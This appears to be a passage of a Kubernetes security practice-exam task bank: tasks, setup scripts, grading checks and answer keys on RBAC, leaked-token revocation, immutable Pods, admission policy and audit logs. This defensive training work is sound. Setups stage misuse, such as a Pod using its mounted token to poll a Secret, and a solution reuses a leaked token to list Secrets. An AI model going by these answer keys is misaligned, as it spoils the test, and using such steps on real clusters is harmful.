metadata: {name: $s-debug, namespace: %{ns}}
rules:
  - {apiGroups: [""], resources: [pods], verbs: [get, list, watch]}
  - {apiGroups: [""], resources: [pods/log], verbs: [get]}
  - {apiGroups: [""], resources: [pods/exec], verbs: [get, create]}
EOF
  $K -n %{ns} create rolebinding $s-debug --role=$s-debug --serviceaccount=%{ns}:$s >/dev/null
done
$K -n %{ns} run %{pod} --image=busybox:1.36 --command -- sleep 86400 >/dev/null
$K -n %{ns} run frontend --image=busybox:1.36 --command -- sleep 86400 >/dev/null
$K -n %{ns} wait --for=condition=Ready pod --all --timeout=240s >/dev/null || exit 1
t1=$($K -n %{ns} create token %{sa}); t2=$($K -n %{ns} create token pipeline)
tk "$t2" -n %{ns} exec frontend -- id >/dev/null 2>&1
tk "$t1" -n %{ns} get pods >/dev/null 2>&1
tk "$t1" -n %{ns} exec %{pod} -- cat /etc/hostname >/dev/null 2>&1 || { echo "the exec as %{sa} did not work" >&2; exit 1; }
tk "$t2" -n %{ns} logs %{pod} >/dev/null 2>&1
$K -n %{ns} exec frontend -- id >/dev/null 2>&1
sleep 2
[ "$(aud ".objectRef.subresource==\"exec\" and .objectRef.name==\"%{pod}\" and .user.username==\"system:serviceaccount:%{ns}:%{sa}\"")" -ge 1 ]
""",
 "checks": [
  C("user.txt names the identity that ran the exec", 4, r"""eq "$(tr -d ' \n\r' < "$WS/q93/user.txt" 2>/dev/null)" system:serviceaccount:%{ns}:%{sa}"""),
  C("event.json is the audit event of that exec", 2, r"""
python3 -c '
import json, sys
e = json.loads(open(sys.argv[1]).read().strip().splitlines()[0])
r = e.get("objectRef", {})
sys.exit(0 if e.get("kind") == "Event" and r.get("subresource") == "exec" and r.get("name") == "%{pod}" and e["user"]["username"] == "system:serviceaccount:%{ns}:%{sa}" else 1)' "$WS/q93/event.json" 2>/dev/null"""),
  C("it can no longer exec into Pods of %{ns}, and still reads Pods and logs", 4, CAN + r"""
S=system:serviceaccount:%{ns}:%{sa}
cannot --as=$S -- create pods/exec -n %{ns} && cannot --as=$S -- get pods/exec -n %{ns} \
 && can --as=$S -- list pods -n %{ns} && can --as=$S -- get pods/log -n %{ns} && can --as=system:serviceaccount:%{ns}:pipeline -- create pods/exec -n %{ns}"""),
 ],
 "solution": """
sudo jq -c 'select(.objectRef.subresource == "exec" and .objectRef.name == "%{pod}")
  | [.requestReceivedTimestamp, .user.username, .verb, .responseStatus.code, .requestURI]' /var/log/kubernetes/audit/audit.log
#   system:serviceaccount:%{ns}:%{sa}  ...  /api/v1/namespaces/%{ns}/pods/%{pod}/exec?command=cat&command=%2Fetc%2Fhostname...
echo system:serviceaccount:%{ns}:%{sa} > {WS}/q93/user.txt
sudo jq -c 'select(.objectRef.subresource == "exec" and .objectRef.name == "%{pod}")' /var/log/kubernetes/audit/audit.log | tail -1 > {WS}/q93/event.json
k -n %{ns} get rolebinding -o wide | grep %{sa}              # %{sa}-debug -> Role %{sa}-debug
k -n %{ns} edit role %{sa}-debug                             # delete the pods/exec rule
k -n %{ns} auth can-i create pods --subresource=exec --as=system:serviceaccount:%{ns}:%{sa}      # no
#   (`can-i create pods/exec` would ask about a Pod NAMED exec - the subresource needs the flag)
# exec is a subresource of pods: objectRef.resource is "pods", objectRef.subresource "exec", and
# the command is in the request URI. The verb is "get" (WebSocket) or "create" (SPDY) depending on
# the client, which is why the Role has to lose both. At Metadata level the log says who, when and
# what was run - not what it printed.
""",
},
{
 "id": 94, "domain": "RUNTIME", "title": "A leaked ServiceAccount token", "difficulty": "hard",
 "params": lambda r: {"ns": ns_pick(r, "ci")},
 "task": """
The token of ServiceAccount `ci-bot` in Namespace `%{ns}` was found in a public repository: it is
in `{WS}/q94/leaked.token`. A second token of the same ServiceAccount, issued a few minutes ago
and valid for six more hours, is known to be in the same hands: `{WS}/q94/second.token`.

1. Can the holder of these tokens read Secrets in `%{ns}`? Write `yes` or `no` to
   `{WS}/q94/secrets.txt`.
2. Make **both** tokens useless — now, not in six hours.
3. The pipeline needs its ServiceAccount: afterwards `ci-bot` must exist in `%{ns}` under the same
   name, with the same permissions (RoleBinding `ci-bot`), and be able to get new tokens.
""",
 "setup": NS + r"""
mkns %{ns}; rm -rf "$WS/q94"; mkdir -p "$WS/q94"
$K -n %{ns} create sa ci-bot >/dev/null
$K -n %{ns} create rolebinding ci-bot --clusterrole=edit --serviceaccount=%{ns}:ci-bot >/dev/null
$K apply -f - >/dev/null <<EOF
apiVersion: v1
kind: Secret
metadata: {name: ci-bot-token, namespace: %{ns}, annotations: {kubernetes.io/service-account.name: ci-bot}}
type: kubernetes.io/service-account-token
EOF
for i in $(seq 1 30); do t=$(j -n %{ns} secret ci-bot-token '{.data.token}' | base64 -d); [ -n "$t" ] && break; sleep 1; done
[ -n "$t" ] || exit 1
echo "$t" > "$WS/q94/leaked.token"; $K -n %{ns} create token ci-bot --duration=6h > "$WS/q94/second.token"
cp "$WS/q94/leaked.token" "$PRIV/q94.a"; cp "$WS/q94/second.token" "$PRIV/q94.b"; j -n %{ns} sa ci-bot '{.metadata.uid}' > "$PRIV/q94.uid"
[ -s "$PRIV/q94.b" ] && [ -s "$PRIV/q94.uid" ]
""",
 "checks": [
  C("secrets.txt says yes", 2, r"""eq "$(tr -d ' \n\r' < "$WS/q94/secrets.txt" 2>/dev/null | tr 'A-Z' 'a-z')" yes"""),
  C("the API server refuses both tokens", 4, CURL + r"""
[ "$(j -n %{ns} sa ci-bot '{.metadata.uid}')" != "$(cat "$PRIV/q94.uid")" ] || exit 1
# the API server remembers a token it has just accepted for some seconds
for i in $(seq 1 10); do
  eq "$(code /api/v1/namespaces/%{ns}/pods -H "'Authorization: Bearer $(cat "$PRIV/q94.a")'")" 401 \
   && eq "$(code /api/v1/namespaces/%{ns}/pods -H "'Authorization: Bearer $(cat "$PRIV/q94.b")'")" 401 && exit 0
  sleep 4
done; exit 1"""),
  C("ci-bot exists again with its permissions, and a new token of it works", 4, CAN + CURL + r"""
u=$(j -n %{ns} sa ci-bot '{.metadata.uid}'); [ -n "$u" ] && [ "$u" != "$(cat "$PRIV/q94.uid")" ] || exit 1
can --as=system:serviceaccount:%{ns}:ci-bot -- create deployments -n %{ns} && eq "$(j -n %{ns} rolebinding ci-bot '{.roleRef.name}')" edit || exit 1
t=$($K -n %{ns} create token ci-bot 2>/dev/null); [ -n "$t" ] && eq "$(code /api/v1/namespaces/%{ns}/pods -H "'Authorization: Bearer $t'")" 200"""),
 ],
 "solution": """
k -n %{ns} auth can-i get secrets --as=system:serviceaccount:%{ns}:ci-bot       # yes (it has `edit`)  -> secrets.txt
curl -sk -H "Authorization: Bearer $(cat {WS}/q94/leaked.token)" https://localhost:6443/api/v1/namespaces/%{ns}/secrets | head -3
k -n %{ns} get secret --field-selector type=kubernetes.io/service-account-token   # ci-bot-token: the first leak, never expires
k -n %{ns} delete sa ci-bot              # every token of the ServiceAccount dies with it, the Secret is removed too
k -n %{ns} create sa ci-bot              # same name, new uid: the RoleBinding applies again, the old tokens do not
curl -sk -o /dev/null -w '%{http_code}\\n' -H "Authorization: Bearer $(cat {WS}/q94/second.token)" https://localhost:6443/api/v1/namespaces/%{ns}/pods    # 401
k -n %{ns} create token ci-bot | head -c 20; echo
# A token issued by the TokenRequest API (`kubectl create token`, or the one mounted in a Pod)
# cannot be revoked by itself: it is valid until it expires - or until the object it is bound to,
# the ServiceAccount (its uid, not its name), is gone. Deleting only the token Secret would have
# killed the first token and left the second one working for six hours.
""",
},
# ================================================================== 6.4 Immutability ====
{
 "id": 95, "domain": "RUNTIME", "title": "A read-only root filesystem",
 "params": lambda r: {"ns": ns_pick(r, "render"), "dep": name_pick(r, "thumbnailer")},
 "task": """
Make the container of Deployment `%{dep}` in Namespace `%{ns}` immutable at runtime:

- its root filesystem is read-only;
- it cannot gain privileges (`allowPrivilegeEscalation: false`).

The application writes in two places and must keep working: its log `/var/log/app.log` and its
working files under `/tmp`. Give it a volume that lives and dies with the Pod for each of them.
Do not change the image or the command.
""",
 "setup": NS + r"""
mkns %{ns}
$K -n %{ns} create deploy %{dep} --image=busybox:1.36 -- sh -c 'mkdir -p /tmp/cache /var/log; while true; do date >> /var/log/app.log; date > /tmp/cache/stamp; sleep 5; done' >/dev/null
$K -n %{ns} rollout status deploy %{dep} --timeout=180s >/dev/null
""",
 "checks": [
  C("the container has a read-only root filesystem and no privilege escalation", 3, r"""
c='{.spec.template.spec.containers[0]'
eq "$(j -n %{ns} deploy %{dep} "$c.securityContext.readOnlyRootFilesystem}")" true && eq "$(j -n %{ns} deploy %{dep} "$c.securityContext.allowPrivilegeEscalation}")" false \
 && eq "$(j -n %{ns} deploy %{dep} "$c.image}")" busybox:1.36 && j -n %{ns} deploy %{dep} "$c.command}" | grep -q 'app.log'"""),
  C("/tmp and /var/log are emptyDir volumes", 3, PY + r"""
py -n %{ns} deploy %{dep} '
t = o["spec"]["template"]["spec"]; e = {v["name"] for v in t.get("volumes", []) if "emptyDir" in v}
m = {x["mountPath"].rstrip("/") for x in t["containers"][0].get("volumeMounts", []) if x["name"] in e}
{"/tmp", "/var/log"} <= m'"""),
  C("in the running Pod the application writes its files, and nothing else can be written", 4, r"""
eq "$(j -n %{ns} deploy %{dep} '{.spec.template.spec.containers[0].securityContext.readOnlyRootFilesystem}')" true || exit 1
for i in $(seq 1 20); do [ "$(j -n %{ns} deploy %{dep} '{.status.updatedReplicas}')" = 1 ] && [ "$(j -n %{ns} deploy %{dep} '{.status.availableReplicas}')" = 1 ] && break; sleep 3; done
p=$($K -n %{ns} get pod -l app=%{dep} --field-selector status.phase=Running --sort-by=.metadata.creationTimestamp -o jsonpath='{.items[-1:].metadata.name}'); [ -n "$p" ] || exit 1
sleep 6
$K -n %{ns} exec "$p" -- sh -c 'test -s /var/log/app.log && test -s /tmp/cache/stamp' 2>/dev/null && ! $K -n %{ns} exec "$p" -- touch /etc/ksim-probe 2>/dev/null \
 && ! $K -n %{ns} exec "$p" -- touch /bin/ksim-probe 2>/dev/null"""),
 ],
 "solution": """
k -n %{ns} edit deploy %{dep}
#     containers:
#       - ...
#         securityContext:
#           readOnlyRootFilesystem: true
#           allowPrivilegeEscalation: false
#         volumeMounts:
#           - {name: tmp, mountPath: /tmp}
#           - {name: log, mountPath: /var/log}
#     volumes:
#       - {name: tmp, emptyDir: {}}
#       - {name: log, emptyDir: {}}
k -n %{ns} rollout status deploy %{dep}
k -n %{ns} exec deploy/%{dep} -- sh -c 'touch /etc/x; tail -1 /var/log/app.log'      # Read-only file system / a date
# With a read-only root an intruder cannot install tools, replace binaries or leave files behind.
# The few paths a program really writes get an emptyDir each - if you do not know them, set the
# flag and read the errors in the container's log. `kubectl set volume` cannot make an emptyDir
# and a mount in one command for two paths any faster than the edit.
""",
},
{
 "id": 96, "domain": "RUNTIME", "title": "Which Pods can change themselves?",
 "params": lambda r: {"ns": ns_pick(r, "fin")},
 "task": """
Policy for Namespace `%{ns}`: containers are **immutable at runtime**. A Pod meets that only if

- every one of its containers has a read-only root filesystem,
- none of its containers is privileged, and
- it mounts no `hostPath` volume that is writable.

Six Pods run there: `ledger`, `gateway`, `reports`, `scanner`, `mailer` and `indexer`.

1. Write the names of the Pods that do **not** meet the policy to `{WS}/q96/mutable.txt`, one per
   line.
2. Delete those Pods. The ones that meet the policy keep running.
""",
 "setup": NS + r"""
mkns %{ns}; rm -rf "$WS/q96"; mkdir -p "$WS/q96"
$K apply -f - >/dev/null <<EOF
apiVersion: v1
kind: Pod
metadata: {name: ledger, namespace: %{ns}}
spec:
  containers:
    - {name: app, image: "busybox:1.36", command: [sleep, "86400"], securityContext: {readOnlyRootFilesystem: true, allowPrivilegeEscalation: false}}
---
apiVersion: v1
kind: Pod
metadata: {name: gateway, namespace: %{ns}}
spec:
  volumes: [{name: tmp, emptyDir: {}}]
  containers:
    - {name: app, image: "busybox:1.36", command: [sleep, "86400"], securityContext: {readOnlyRootFilesystem: true}, volumeMounts: [{name: tmp, mountPath: /tmp}]}
---
apiVersion: v1
kind: Pod
metadata: {name: reports, namespace: %{ns}}
spec:
  containers:
    - {name: app, image: "busybox:1.36", command: [sleep, "86400"], securityContext: {allowPrivilegeEscalation: false}}
---
apiVersion: v1
kind: Pod
metadata: {name: scanner, namespace: %{ns}}
spec:
  containers:
    - {name: app, image: "busybox:1.36", command: [sleep, "86400"], securityContext: {readOnlyRootFilesystem: true, privileged: true}}
---
apiVersion: v1
kind: Pod
metadata: {name: mailer, namespace: %{ns}}
spec:
  containers:
    - {name: app, image: "busybox:1.36", command: [sleep, "86400"], securityContext: {readOnlyRootFilesystem: true}}
    - {name: relay, image: "busybox:1.36", command: [sleep, "86400"]}
---
apiVersion: v1
kind: Pod
metadata: {name: indexer, namespace: %{ns}}
spec:
  volumes: [{name: data, hostPath: {path: /var/lib/indexer, type: DirectoryOrCreate}}]
  containers:
    - {name: app, image: "busybox:1.36", command: [sleep, "86400"], securityContext: {readOnlyRootFilesystem: true}, volumeMounts: [{name: data, mountPath: /data}]}
EOF
$K -n %{ns} wait --for=condition=Ready pod --all --timeout=240s >/dev/null || exit 1
echo "$(j -n %{ns} pod ledger '{.metadata.uid}') $(j -n %{ns} pod gateway '{.metadata.uid}')" > "$PRIV/q96.uids"
printf 'indexer\nmailer\nreports\nscanner\n' > "$PRIV/q96.mutable"
""",
 "checks": [
  C("mutable.txt names the four Pods that do not meet the policy", 5, r"""
[ -s "$WS/q96/mutable.txt" ] && diff <(tr -d ' \r' < "$WS/q96/mutable.txt" | sed 's#.*/##' | grep . | sort -u) "$PRIV/q96.mutable" >/dev/null"""),
  C("those are deleted; ledger and gateway are the same Pods as before", 5, r"""
read -r u1 u2 < "$PRIV/q96.uids"
for p in indexer mailer reports scanner; do [ -z "$(j -n %{ns} pod $p '{.metadata.name}')" ] || [ -n "$(j -n %{ns} pod $p '{.metadata.deletionTimestamp}')" ] || exit 1; done
eq "$(j -n %{ns} pod ledger '{.metadata.uid}')" "$u1" && eq "$(j -n %{ns} pod gateway '{.metadata.uid}')" "$u2" """),
 ],
 "solution": """
k -n %{ns} get pod -o json | jq -r '.items[] | select(
    any(.spec.containers[]; .securityContext.readOnlyRootFilesystem != true)
    or any(.spec.containers[]; .securityContext.privileged == true)
    or any(.spec.volumes[]?; .hostPath)
  ) | .metadata.name' | tee {WS}/q96/mutable.txt
#   indexer (writable hostPath), mailer (its second container), reports (no read-only root), scanner (privileged)
k -n %{ns} delete pod $(cat {WS}/q96/mutable.txt)
# The traps are the ones in the list: readOnlyRootFilesystem is per container, so one sidecar
# without it makes the Pod mutable; a privileged container can remount its root read-write; and a
# writable hostPath changes the node itself. gateway's emptyDir is fine - it is not the image, and
# it is gone with the Pod.
""",
},
{
 "id": 97, "domain": "RUNTIME", "title": "Enforce immutability at admission", "difficulty": "hard",
 "params": lambda r: {"ns": ns_pick(r, "sealed")},
 "task": """
In Namespaces labelled `immutable=true` — `%{ns}` is one — no Pod may be created unless it is
immutable at runtime. Enforce that with a **ValidatingAdmissionPolicy**:

1. ValidatingAdmissionPolicy `immutable-pods` for Pods (create and update): **every container and
   init container** must set `readOnlyRootFilesystem: true`, and none may be privileged.
2. ValidatingAdmissionPolicyBinding `immutable-pods`: violations are denied, in Namespaces
   labelled `immutable=true` only.
""",
 "setup": NS + r"""
mkns %{ns}; mkns %{ns}-open
$K label ns %{ns} immutable=true --overwrite >/dev/null
$K delete validatingadmissionpolicybinding immutable-pods --ignore-not-found >/dev/null 2>&1
$K delete validatingadmissionpolicy immutable-pods --ignore-not-found >/dev/null 2>&1; true
""",
 "checks": [
  C("policy immutable-pods covers Pods; binding immutable-pods denies, for Namespaces labelled immutable=true", 2, PY + r"""
py validatingadmissionpolicy immutable-pods 'any("pods" in r.get("resources", []) for r in o["spec"].get("matchConstraints", {}).get("resourceRules", []))' || exit 1
py validatingadmissionpolicybinding immutable-pods '
s = o["spec"]
s.get("policyName") == "immutable-pods" and "Deny" in s.get("validationActions", []) and s.get("matchResources", {}).get("namespaceSelector", {}).get("matchLabels") == {"immutable": "true"}'"""),
  C("in %{ns}: a Pod without a read-only root is refused, one with it is admitted", 3, SCPOD + r"""
nope %{ns} '""" + PLAIN + r"""' && nope %{ns} '"securityContext": {"readOnlyRootFilesystem": false}' && scpod %{ns} '""" + RO + r"""'"""),
  C("a privileged container is refused, and init containers are checked too", 3, SCPOD + r"""
nope %{ns} '""" + PLAIN + r"""' || exit 1
nope %{ns} '""" + RO_PRIV + r"""' && nope %{ns} '""" + RO + r"""' '""" + PLAIN + r"""' && scpod %{ns} '""" + RO + r"""' '""" + RO + r"""'"""),
  C("other Namespaces are not affected", 2, SCPOD + r"""nope %{ns} '""" + PLAIN + r"""' && scpod %{ns}-open '""" + PLAIN + r"""' && scpod default '""" + PLAIN + r"""'"""),
 ],
 "solution": """
cat <<'EOF' | k apply -f -
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata: {name: immutable-pods}
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
      - {apiGroups: [""], apiVersions: ["v1"], operations: [CREATE, UPDATE], resources: [pods]}
  validations:
    - expression: >-
        (object.spec.containers + (has(object.spec.initContainers) ? object.spec.initContainers : [])).all(c,
          has(c.securityContext) && has(c.securityContext.readOnlyRootFilesystem) && c.securityContext.readOnlyRootFilesystem
          && !(has(c.securityContext.privileged) && c.securityContext.privileged))
      message: every container needs readOnlyRootFilesystem true and must not be privileged
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata: {name: immutable-pods}
spec:
  policyName: immutable-pods
  validationActions: [Deny]
  matchResources:
    namespaceSelector:
      matchLabels: {immutable: "true"}
EOF
k -n %{ns} run t --image=busybox:1.36 --dry-run=server -- sleep 1        # refused, with the message
# In CEL a field that is not set is not `false`: reading it is an error, and with failurePolicy
# Fail an error refuses the request - but for the wrong reason and with a confusing message. Guard
# every optional field with has(). The label value is a string: "true" in quotes.
""",
},
{
 "id": 98, "domain": "RUNTIME", "title": "Frozen configuration, no shells",
 "params": lambda r: {"ns": ns_pick(r, "settle")},
 "task": """
Nothing in Namespace `%{ns}` should change while it runs:

1. ConfigMap `app-settings` and Secret `app-keys` are to be **immutable** — in place, without
   deleting and re-creating them.
2. Group `devs` (Role `developer`, RoleBinding `developer`) may no longer open a shell in a Pod or
   attach to one (`pods/exec`, `pods/attach`). It keeps reading Pods and their logs.
3. Try to change a value of the ConfigMap afterwards and save the API server's error message to
   `{WS}/q98/immutable.txt`.
""",
 "setup": NS + r"""
mkns %{ns}; rm -rf "$WS/q98"; mkdir -p "$WS/q98"
$K -n %{ns} create configmap app-settings --from-literal=mode=live --from-literal=region=eu >/dev/null
$K -n %{ns} create secret generic app-keys --from-literal=signing=k-%{ns} >/dev/null
$K apply -f - >/dev/null <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: developer, namespace: %{ns}}
rules:
  - {apiGroups: [""], resources: [pods], verbs: [get, list, watch]}
  - {apiGroups: [""], resources: [pods/log], verbs: [get]}
  - {apiGroups: [""], resources: [pods/exec, pods/attach], verbs: [get, create]}
  - {apiGroups: [""], resources: [configmaps], verbs: [get, list]}
EOF
$K -n %{ns} create rolebinding developer --role=developer --group=devs >/dev/null
echo "$(j -n %{ns} cm app-settings '{.metadata.uid}') $(j -n %{ns} secret app-keys '{.metadata.uid}')" > "$PRIV/q98.uids"
""",
 "checks": [
  C("ConfigMap app-settings and Secret app-keys are immutable, and still the same objects", 3, r"""
read -r u1 u2 < "$PRIV/q98.uids"
eq "$(j -n %{ns} cm app-settings '{.immutable}')" true && eq "$(j -n %{ns} secret app-keys '{.immutable}')" true \
 && eq "$(j -n %{ns} cm app-settings '{.metadata.uid}')" "$u1" && eq "$(j -n %{ns} secret app-keys '{.metadata.uid}')" "$u2" """),
  C("group devs can no longer exec or attach, and still reads Pods and logs", 4, CAN + r"""
A="--as=dev-user --as-group=devs"
for r in pods/exec pods/attach; do for v in get create; do cannot $A -- $v $r -n %{ns} || exit 1; done; done
can $A -- list pods -n %{ns} && can $A -- get pods/log -n %{ns} && can $A -- get configmaps -n %{ns}"""),
  C("a change to the ConfigMap is refused by the API server", 2, r"""
out=$($K -n %{ns} patch cm app-settings --dry-run=server -p '{"data":{"mode":"test"}}' 2>&1) && exit 1
echo "$out" | grep -qi immutable"""),
  C("immutable.txt holds the error", 1, r"""grep -qi 'immutable' "$WS/q98/immutable.txt" 2>/dev/null"""),
 ],
 "solution": """
k -n %{ns} patch cm app-settings -p '{"immutable": true}'
k -n %{ns} patch secret app-keys -p '{"immutable": true}'
k -n %{ns} edit role developer                       # delete the rule for pods/exec and pods/attach
k -n %{ns} patch cm app-settings -p '{"data":{"mode":"test"}}' 2>&1 | tee {WS}/q98/immutable.txt
#   ... field is immutable when `immutable` is set
k -n %{ns} auth can-i create pods --subresource=exec --as=dev-user --as-group=devs      # no
# immutable: true cannot be taken back: to change the data you delete the object and create a new
# one (and restart the Pods that use it). It also takes load off the kubelets, which stop watching
# the object. A shell in a container is the easiest way to change it at runtime - without exec
# and attach in RBAC, the only way in is a new rollout.
""",
},
# ==================================================================== 6.5 Audit logs ====
{
 "id": 99, "domain": "RUNTIME", "title": "An audit policy with four levels", "difficulty": "hard",
 "params": lambda r: {"ns": ns_pick(r, "treasury")},
 "task": """
Audit logging is on in this cluster (`/var/log/kubernetes/audit/audit.log` on `{CP}`), with a
policy that logs every request at `Metadata` level — far too much, and too little where it
matters. Replace the policy in `/etc/kubernetes/audit/policy.yaml`:

1. **Secrets:** every request, at `Metadata` level — never their contents.
2. **Reading** anything else (`get`, `list`, `watch`): not logged at all.
3. **ConfigMaps in Namespace `%{ns}`:** changes at `RequestResponse` level.
4. **Everything else:** at `Metadata` level.
5. No event for the `RequestReceived` stage.

The API server reads the policy only when it starts: restart it, and make sure it comes back.
""",
 "setup": NS + API + AUDIT + r"""
mkns %{ns}
audit_setup <<'EOF' || { echo "could not switch on audit logging" >&2; exit 1; }
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: Metadata
EOF
""",
 "checks": [
  C("policy.yaml is an audit Policy that omits the RequestReceived stage, and the API server runs", 2, API + r"""
f=/etc/kubernetes/audit/policy.yaml
eq "$(nx "$CP" "yq .kind $f" </dev/null)" Policy && nx "$CP" "yq '.omitStages[]' $f" </dev/null | grep -qx RequestReceived && runs kube-apiserver '--audit-policy-file=' && wait_api 60"""),
  C("reading a Secret is logged at Metadata level; reading a ConfigMap is not logged", 3, API + AUDIT + r"""
api_ok || exit 1; m=ksim$RANDOM$RANDOM
$K -n %{ns} create secret generic $m --from-literal=a=b >/dev/null; $K -n %{ns} create configmap $m --from-literal=a=b >/dev/null
$K -n %{ns} get secret $m >/dev/null; $K -n %{ns} get configmap $m >/dev/null; sleep 3
s=$(aud ".objectRef.resource==\"secrets\" and .objectRef.name==\"$m\" and .verb==\"get\" and .level==\"Metadata\"")
x=$(aud ".objectRef.resource==\"secrets\" and .objectRef.name==\"$m\" and .level!=\"Metadata\"")
c=$(aud ".objectRef.resource==\"configmaps\" and .objectRef.name==\"$m\" and .verb==\"get\"")
$K -n %{ns} delete secret,configmap $m >/dev/null 2>&1
[ "${s:-0}" -ge 1 ] && [ "$x" = 0 ] && [ "$c" = 0 ]"""),
  C("a change to a ConfigMap in %{ns} is logged at RequestResponse level, with the object", 3, API + AUDIT + r"""
api_ok || exit 1; m=ksim$RANDOM$RANDOM
$K -n %{ns} create configmap $m --from-literal=a=b >/dev/null; $K -n %{ns} patch configmap $m -p '{"data":{"a":"c"}}' >/dev/null; sleep 3
n=$(aud ".objectRef.resource==\"configmaps\" and .objectRef.name==\"$m\" and .verb==\"patch\" and .level==\"RequestResponse\" and .responseObject.data.a==\"c\"")
$K -n %{ns} delete configmap $m >/dev/null 2>&1
[ "${n:-0}" -ge 1 ]"""),
  C("a change elsewhere is logged at Metadata level, and nothing at the RequestReceived stage", 2, API + AUDIT + r"""
api_ok || exit 1; m=ksim$RANDOM$RANDOM
$K -n default create configmap $m --from-literal=a=b >/dev/null; $K -n default patch configmap $m -p '{"data":{"a":"c"}}' >/dev/null; sleep 3
n=$(aud ".objectRef.resource==\"configmaps\" and .objectRef.name==\"$m\" and .verb==\"patch\" and .level==\"Metadata\"")
r=$(aud ".objectRef.name==\"$m\" and .stage==\"RequestReceived\"")
$K -n default delete configmap $m >/dev/null 2>&1
[ "${n:-0}" -ge 1 ] && [ "$r" = 0 ]"""),
 ],
 "solution": """
sudo -i
cat > /etc/kubernetes/audit/policy.yaml <<EOF
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages:
  - RequestReceived
rules:
  - level: Metadata                       # 1. Secrets, whatever the verb - before the rule that drops reads
    resources:
      - group: ""
        resources: [secrets]
  - level: None                           # 2. reads
    verbs: [get, list, watch]
  - level: RequestResponse                # 3. changes to ConfigMaps in %{ns} (reads were dropped above)
    resources:
      - group: ""
        resources: [configmaps]
    namespaces: [%{ns}]
  - level: Metadata                       # 4. the rest
EOF
# restart the API server: move its manifest out of the directory and back
mv /etc/kubernetes/manifests/kube-apiserver.yaml /root/ && sleep 20 && mv /root/kube-apiserver.yaml /etc/kubernetes/manifests/
watch crictl ps
tail -f /var/log/kubernetes/audit/audit.log | jq -c '[.level, .verb, .objectRef.resource, .objectRef.namespace, .objectRef.name]'
# The first rule that matches a request decides, so the order is the policy: the Secrets rule must
# stand before "reads are not logged", or reading a Secret would go unrecorded. The core API group
# is "" (not "core", not "v1"). If the server does not return: crictl logs of the kube-apiserver
# container name the line of the policy it could not read.
""",
},
{
 "id": 100, "domain": "RUNTIME", "title": "Who keeps reading that Secret?",
 "params": lambda r: {"ns": ns_pick(r, "hr"), "sa": r.choice(["warmup", "exporter", "sync-agent"]), "snoop": r.choice(["cache-warmer", "report-builder", "index-refresh"])},
 "task": """
Audit logging is on in this cluster (`/var/log/kubernetes/audit/audit.log` on `{CP}`). Something in
Namespace `%{ns}` reads Secret `payroll` every few seconds, and nobody knows why.

1. From the audit log: which identity reads it? Write the user name, as logged, to
   `{WS}/q100/user.txt`.
2. Which Pod does that? Write its name to `{WS}/q100/pod.txt`.
3. Stop it without deleting the Pod: remove what allows that identity to read Secrets.
""",
 "setup": NS + API + AUDIT + r"""
mkns %{ns}; rm -rf "$WS/q100"; mkdir -p "$WS/q100"
$K -n %{ns} create secret generic payroll --from-literal=total=4711 >/dev/null
$K -n %{ns} create configmap settings --from-literal=a=b >/dev/null
$K -n %{ns} create sa %{sa} >/dev/null; $K -n %{ns} create sa reporter >/dev/null
$K -n %{ns} create role %{sa}-secrets --verb=get --resource=secrets >/dev/null
$K -n %{ns} create rolebinding %{sa}-secrets --role=%{sa}-secrets --serviceaccount=%{ns}:%{sa} >/dev/null
$K -n %{ns} create role settings-reader --verb=get --resource=configmaps >/dev/null
$K -n %{ns} create rolebinding settings-reader --role=settings-reader --serviceaccount=%{ns}:reporter >/dev/null
poll() {  # poll POD SERVICEACCOUNT RESOURCE/NAME: a Pod that asks the API for an object every 5 seconds
  $K apply -f - >/dev/null <<EOF
apiVersion: v1
kind: Pod
metadata: {name: $1, namespace: %{ns}, labels: {app: $1}}
spec:
  serviceAccountName: $2
  containers:
    - name: main
      image: curlimages/curl:8.10.1
      command: ["sh", "-c", "while true; do curl -sk -m 3 -o /dev/null -H \"Authorization: Bearer \$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\" https://kubernetes.default.svc/api/v1/namespaces/%{ns}/$3; sleep 5; done"]
EOF
}
poll %{snoop} %{sa} secrets/payroll; poll dashboard reporter configmaps/settings
$K -n %{ns} run web --image=busybox:1.36 --command -- sleep 86400 >/dev/null
audit_setup <<'EOF' || { echo "could not switch on audit logging" >&2; exit 1; }
apiVersion: audit.k8s.io/v1
kind: Policy
omitStages: [RequestReceived]
rules:
  - level: Metadata
EOF
$K -n %{ns} wait --for=condition=Ready pod --all --timeout=240s >/dev/null || exit 1
for i in $(seq 1 30); do
  [ "$(aud ".objectRef.resource==\"secrets\" and .objectRef.name==\"payroll\" and .user.username==\"system:serviceaccount:%{ns}:%{sa}\" and .responseStatus.code==200")" -ge 1 ] && exit 0; sleep 3
done
echo "no read of the Secret shows in the audit log" >&2; exit 1
""",
 "checks": [
  C("user.txt names the identity that reads the Secret", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q100/user.txt" 2>/dev/null)" system:serviceaccount:%{ns}:%{sa}"""),
  C("pod.txt names the Pod", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q100/pod.txt" 2>/dev/null | sed 's#.*/##')" %{snoop}"""),
  C("the Pod is still there, and its reads are now refused", 4, CAN + AUDIT + r"""
S=system:serviceaccount:%{ns}:%{sa}
eq "$(j -n %{ns} pod %{snoop} '{.status.phase}')" Running && cannot --as=$S -- get secret/payroll -n %{ns} && can --as=system:serviceaccount:%{ns}:reporter -- get configmap/settings -n %{ns} || exit 1
for i in $(seq 1 8); do
  [ "$(audlast ".objectRef.resource==\"secrets\" and .objectRef.name==\"payroll\" and .user.username==\"$S\"" .responseStatus.code)" = 403 ] && exit 0; sleep 3
done; exit 1"""),
 ],
 "solution": """
sudo jq -r 'select(.objectRef.resource == "secrets" and .objectRef.name == "payroll") | .user.username' /var/log/kubernetes/audit/audit.log | sort | uniq -c
#   system:serviceaccount:%{ns}:%{sa}                                        -> {WS}/q100/user.txt
sudo jq -r 'select(.objectRef.name == "payroll") | .user.extra["authentication.kubernetes.io/pod-name"][0]' /var/log/kubernetes/audit/audit.log | sort -u
#   %{snoop} - or:  k -n %{ns} get pod -o custom-columns=POD:.metadata.name,SA:.spec.serviceAccountName
k -n %{ns} get rolebinding -o wide | grep -w %{sa}                           # %{sa}-secrets
